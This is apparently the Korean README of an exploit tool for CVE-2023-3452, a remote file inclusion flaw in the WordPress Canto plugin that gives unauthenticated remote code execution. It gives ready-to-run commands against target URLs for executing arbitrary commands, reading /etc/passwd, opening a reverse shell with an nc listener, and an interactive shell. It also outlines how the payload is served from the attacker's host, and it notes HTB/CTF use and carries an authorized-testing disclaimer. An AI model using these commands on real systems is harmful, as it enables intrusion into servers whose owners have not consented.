
CVE-2023-3452 익스플로잇 (WordPress Canto 플러그인 RCE, HTTPS 지원 포함)
WordPress Canto 플러그인 (≤ 3.0.4) RFI 취약점에 대한 익스플로잇입니다. 실제로 HTTPS에서 작동합니다 — 다른 공개 PoC는 SSL에서 포기하는 편이었습니다.
공로는 마땅히 인정해야 합니다: 이 CVE는 다른 사람들이 발견했습니다. 저는 HTTPS 대상에서도 작동하는 버전을 만들었을 뿐입니다.
| CVE | CVE-2023-3452 |
| EDB-ID | 51826 |
| 유형 | 원격 파일 포함 (RFI) → 인증 없는 RCE |
| 영향 받는 대상 | WordPress Canto 플러그인 < 3.0.5 (≤ 3.0.4) |
| 공개자 | Leopoldo Angulo (leoanggal1) — 2024-02-27 |
| 위치 | /wp-content/plugins/canto/includes/lib/download.php |
| 벡터 | wp_abspath가 검증 없이 PHP 파일을 포함하는 데 사용됩니다 — 원격으로 우리의 파일을 포함시킵니다. |
이 CVE에 대한 대부분의 익스플로잇은 SSL 검증 때문에 HTTPS에서 작동하지 않습니다. 이 스크립트는:
verify=False를 사용하여 HTTPS 대상이 실제로 작동하도록 함requestspip install -r requirements.txt
또는 간단히: pip install requests
python3 canto_exploit.py -t <TARGET_URL> -l <LHOST> -p <LPORT> [OPTIONS]
* 명령어 없음 = 건강 체크로 id; whoami; hostname 실행
단일 명령어:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "id"
파일 읽기:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "cat /etc/passwd"
리버스 셸 (먼저 nc -lvnp 4444 실행):
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 --revshell --shell-port 4444
대화형 모드:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -i
HTTPS CTF 대상:
python3 canto_exploit.py -t https://10.129.1.136 -l 10.10.14.33 -p 8888 -c "id"
/wp-content/plugins/canto/readme.txt에 접속하여 버전을 확인합니다 (≤ 3.0.4 = 취약함)system()을 통해 명령어를 실행하는 가짜 wp-admin/admin.php를 작성합니다wp_abspath=http://LHOST:LPORT로 download.php에 요청하여 원격 PHP를 포함하도록 합니다LHOST:LPORT에서 사용자 머신에 접근할 수 있어야 합니다 (HTB/실습실의 경우 VPN IP)-p)의 인바운드를 허용해야 합니다승인된 테스트 및 교육 목적으로만 사용하십시오. 허가된 시스템만 다루십시오. 그 외의 용도는 불법입니다.
MIT
| 옵션 | 설명 | 필수 여부 |
|---|
-t, --target | 대상 WordPress URL (HTTP 또는 HTTPS) | 예 |
-l, --lhost | 사용자 IP — 페이로드를 위해 대상이 이 IP에 접근 가능해야 함 | 예 |
-p, --lport | 페이로드 서버 포트 (기본값: 8888) | 아니오 |
-c, --command | 대상에서 실행할 명령어 | 아니오* |
--revshell | 리버스 셸 생성 | 아니오 |
--shell-port | 리버스 셸용 리스너 포트 (기본값: 4444) | 아니오 |
-i, --interactive | 대화형 셸 모드 | 아니오 |
-v, --verbose | 추가 출력 | 아니오 |
--skip-check | 취약점 확인 건너뛰기 | 아니오 |